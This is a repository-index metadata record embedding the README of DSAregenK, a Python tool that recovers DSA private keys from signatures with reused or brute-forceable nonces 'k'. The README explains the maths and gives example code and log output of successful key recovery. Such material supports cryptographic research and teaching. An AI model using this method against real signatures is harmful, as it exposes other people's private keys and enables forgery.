{"id":15649975,"url":"https://github.com/tintinweb/dsaregenk","last_synced_at":"2025-04-30T16:30:02.375Z","repository":{"id":6389965,"uuid":"7627723","full_name":"tintinweb/DSAregenK","owner":"tintinweb","description":"Recover the private key from signed DSA messages. (multiple signed messages, static coefficient 'k')","archived":false,"fork":false,"pushed_at":"2018-04-07T14:33:34.000Z","size":22,"stargazers_count":38,"open_issues_count":3,"forks_count":11,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-03-30T17:51:15.691Z","etag":null,"topics":["dsa","nonce-misuse-attacks"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tintinweb.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2013-01-15T15:47:15.000Z","updated_at":"2024-10-24T11:19:36.000Z","dependencies_parsed_at":"2022-09-08T21:11:40.626Z","dependency_job_id":null,"html_url":"https://github.com/tintinweb/DSAregenK","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tintinweb%2FDSAregenK","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tintinweb%2FDSAregenK/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tintinweb%2FDSAregenK/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tintinweb%2FDSAregenK/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tintinweb","download_url":"https://codeload.github.com/tintinweb/DSAregenK/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251742175,"owners_count":21636398,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dsa","nonce-misuse-attacks"],"created_at":"2024-10-03T12:32:47.177Z","updated_at":"2025-04-30T16:30:01.940Z","avatar_url":"https://github.com/tintinweb.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"DSAregenK\n=========\n\n:zap: **This project has been incorporated into https://github.com/tintinweb/ecdsa-private-key-recovery which comes with a way nicer interface** \n\nRecover the private key of signed DSA messages with weak coefficient 'k'. \nThe coefficient is considered weak if 'k' is \n* not unique per message\n* not randomly selected for signed messages\n* small enough to make brute_force feasable\n\n\nDSA Signature (r,s):\n\n\tr = g^k mod p mod q\n\ts = k-1 (H(m) + x*r) mod q\n\t\n\tx \t... private exponent\n\ty\t... public exponent\n\tH()\t... hash function\n\tm\t... message\n\tg\t... group generator\n\tp\t... prime\n\tq\t... subprime\n\tr,s\t... digital signature components\n\tk\t... per message secret number\n\t\n\nModus #1 - 'k' is not unique for all signed messages\n--------\n\nGiven two+ signed message hashes h(mA),h(mB) with signatures (rA,sA) and (rB,sB) where rA==rB and shared public_key \ncoefficients (at least subprime q) one can reconstruct the private key used to sign these messages.\n\nDSAregenK().run() - will try to find duplicate 'r' and reconstruct the private_key. just feed as many (sig),hash tuples as you want ( .add())\n\nCode: (use run() or _attack())\n\n\ta = DSAregenK(pubkey=pubkey)           # feed pubkey \n\ta.add( (r1,s1),h1 )                    # add signed messages\n\t    \n\tfor re_privkey in a.run(asDSAobj=True):     # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param)\n\t    if re_privkey.x == privkey.x:           # compare regenerated privkey with one of the original ones (just a quick check :))\n\t        LOG.info( \"Successfully bruteforced private_key: %s\"%repr(re_privkey))\n\t    else:\n\t        LOG.error(\"Something went wrong :( %s\"%repr(re_privkey))\n\n\nModus #2 - 'k' is a weak small number (or within a range of numbers)\n---------\n\nIf we manage to find a 'k' so that g^k mod p mod q == 'r' we can reconstruct the private_key 'x'. Remember 'g' is part of the public_key.\n\nBenchmark: 2^15 trials will take less than 3mins on heavily loaded Intel Core2Duo @ 2.5GHz, 32bit python. (related: [Debian PRNG Issue](http://www.debian.org/security/2008/dsa-1571))\n\nDSAregenK().runBrute() - will try to find a matching 'k' and reconstruct the private_key. just feed as many (sig),hash tuples as you want ( .add()).\n\nCode: (use runBrute() or _brute_k())\n\n\ta = DSAregenK(pubkey=pubkey)           # feed pubkey \n\ta.add( (r1,s1),h1 )                    # add signed messages\n\t    \n\tfor re_privkey in a.runBrute(asDSAobj=True,maxTries=0xff):     # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param)\n\t    if re_privkey.x == privkey.x:           # compare regenerated privkey with one of the original ones (just a quick check :))\n\t        LOG.info( \"Successfully bruteforced private_key: %s\"%repr(re_privkey))\n\t    else:\n\t        LOG.error(\"Something went wrong :( %s\"%repr(re_privkey))\n\n\n\n\nPrerequesites:\n=============\n\nIn order to reconstruct the private_key of signed DSA messages you need to have:\n\n* public_key parameters q [,y,g,p]\n* a signed message consisting of: \n  * h(m) ... hashed message \n  * (r,s)... signature\n* [modus #1] at least two messages with equal 'r'\n* [modus #2] at least one message with weak 'k' (small value or within a smaller range since we're bruteforcing 'k')\n\n\nExample:\n=========\n\nSee example.py\n\nCode:\n\n\tfrom Crypto.Random import random\n\tfrom Crypto.PublicKey import DSA\n\tfrom Crypto.Hash import SHA\n\t\n\tfrom DSAregenK import DSAregenK\t\t# \u003c-- where the magic happens\n\t\n\timport logging\n\tLOG = logging.getLogger('DSAregenK')\n\tLOG.setLevel(logging.DEBUG)\n\tlogging.debug(\"-- on --\")    \n\t\n\tprivkey = DSA.generate(1024)        # generate new privkey\n\tpubkey  = privkey.publickey()        # extract pubkey\n\t\n\t(r1,s1,h1)=(1104242600137843543695045937637417281163059700235L, 773789011712632302915807023844906579969862952621L, 857395097640348327305744475401170640455782257516L)\n\t(r2,s2,h2)=(1104242600137843543695045937637417281163059700235L, 684267073985982683308089132980132594478002742693L, 199515072252589500574227853970213073102209507294L)\n\t\n\ta = DSAregenK(pubkey=pubkey)        # feed pubkey \n\t\n\ta.add( (r1,s1),h1 )                    # add signed messages\n\ta.add( (r2,s2),h2 )                    # add signed messages\n\t    \n\tfor re_privkey in a.run(asDSAobj=True):     # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param)\n\t    if re_privkey.x == privkey.x:           # compare regenerated privkey with one of the original ones (just a quick check :))\n\t        LOG.info( \"Successfully reconstructed private_key: %s\"%repr(re_privkey))\n\t    else:\n\t        LOG.error(\"Something went wrong :( %s\"%repr(re_privkey))\n\t        \n\t        \n\tfor re_privkey in a.runBrute(asDSAobj=True,maxTries=256):     # reconstruct privatekey from samples (needs at least 2 signed messages with equal r param)\n\t    if re_privkey.x == privkey.x:           # compare regenerated privkey with one of the original ones (just a quick check :))\n\t        LOG.info( \"Successfully bruteforced private_key: %s\"%repr(re_privkey))\n\t    else:\n\t        LOG.error(\"Something went wrong :( %s\"%repr(re_privkey))\n            \n\nOutput (this is output of running example.py):\n\n\tDEBUG:DSAregenK:-- Generating private key and signing 2 messages --\n\tDEBUG:DSAregenK: -- #1     Attacking weak coefficient 'k' -- \n\t\n\tDEBUG:DSAregenK:+ set: pubkey = \u003c_DSAobj @0x234a558 y,g,p(1024),q\u003e\n\tDEBUG:DSAregenK:[*] reconstructing PrivKey for Candidate r=443448935073438978098329599020373933501766974614\n\tDEBUG:DSAregenK:privkey reconstructed: k=832436834964661206575791742093758389811362473232; x=110628923297496146512235297968474674504364642268;\n\tINFO:DSAregenK:Successfully reconstructed private_key: \u003c_DSAobj @0x23f98f0 y,g,p(1024),q,x,private\u003e | x=110628923297496146512235297968474674504364642268\n\tDEBUG:DSAregenK:----------------------------------------------------------\n\tDEBUG:DSAregenK:+ set: pubkey = \u003c_DSAobj @0x23f9788 y,g,p(1024),q\u003e\n\tDEBUG:DSAregenK:[*] reconstructing PrivKey for Candidate r=330419356605368005454791228414289777713764415514\n\tDEBUG:DSAregenK:privkey reconstructed: k=45618860491177950659668700212946090908744911490; x=1008688504343499533641023352967455614331438386097;\n\tINFO:DSAregenK:Successfully reconstructed private_key: \u003c_DSAobj @0x23f99e0 y,g,p(1024),q,x,private\u003e | x=1008688504343499533641023352967455614331438386097\n\t\n\tDEBUG:DSAregenK:----------------------------------------------------------\n\tDEBUG:DSAregenK: -- #2     Bruteforcing weak 'small' coefficient 'k' -- \n\tDEBUG:DSAregenK:+ set: pubkey = \u003c_DSAobj @0x234a558 y,g,p(1024),q\u003e\n\tDEBUG:DSAregenK:[*] bruteforcing PrivKey for r=443448935073438978098329599020373933501766974614\n\tDEBUG:DSAregenK:[** - sample for r=443448935073438978098329599020373933501766974614]\n\tERROR:root:Max tries reached! - 256/256\n\tDEBUG:DSAregenK:[** - sample for r=443448935073438978098329599020373933501766974614]\n\tERROR:root:Max tries reached! - 256/256\n\tDEBUG:DSAregenK:+ set: pubkey = \u003c_DSAobj @0x23f9788 y,g,p(1024),q\u003e\n\tDEBUG:DSAregenK:[*] bruteforcing PrivKey for r=286402551519135367029695561004357693825886532729\n\tDEBUG:DSAregenK:[** - sample for r=286402551519135367029695561004357693825886532729]\n\tINFO:DSAregenK:Successfully brute_forced private_key: \u003c_DSAobj @0x23f9a58 y,g,p(1024),q,x,private\u003e | x=1008688504343499533641023352967455614331438386097\n\t\n\tDEBUG:DSAregenK:----------------------------------------------------------\n\tDEBUG:DSAregenK:[*] bruteforcing PrivKey for r=330419356605368005454791228414289777713764415514\n\tDEBUG:DSAregenK:[** - sample for r=330419356605368005454791228414289777713764415514]\n\tERROR:root:Max tries reached! - 256/256\n\tDEBUG:DSAregenK:[** - sample for r=330419356605368005454791228414289777713764415514]\n\tERROR:root:Max tries reached! - 256/256\n\tDEBUG:DSAregenK:[*] bruteforcing PrivKey for r=919015998067315070352004368887215044863856178317\n\tDEBUG:DSAregenK:[** - sample for r=919015998067315070352004368887215044863856178317]\n\tERROR:root:Max tries reached! - 256/256\n\tDEBUG:DSAregenK:--- END ---\n\n\t\n\nDependencies:\n=============\n\n* [PyCrypto](https://www.dlitz.net/software/pycrypto/)\n\n\n\nMore Infos:\n===========\n\n* [DSA requirements for random k values](http://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/)\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftintinweb%2Fdsaregenk","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftintinweb%2Fdsaregenk","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftintinweb%2Fdsaregenk/lists"}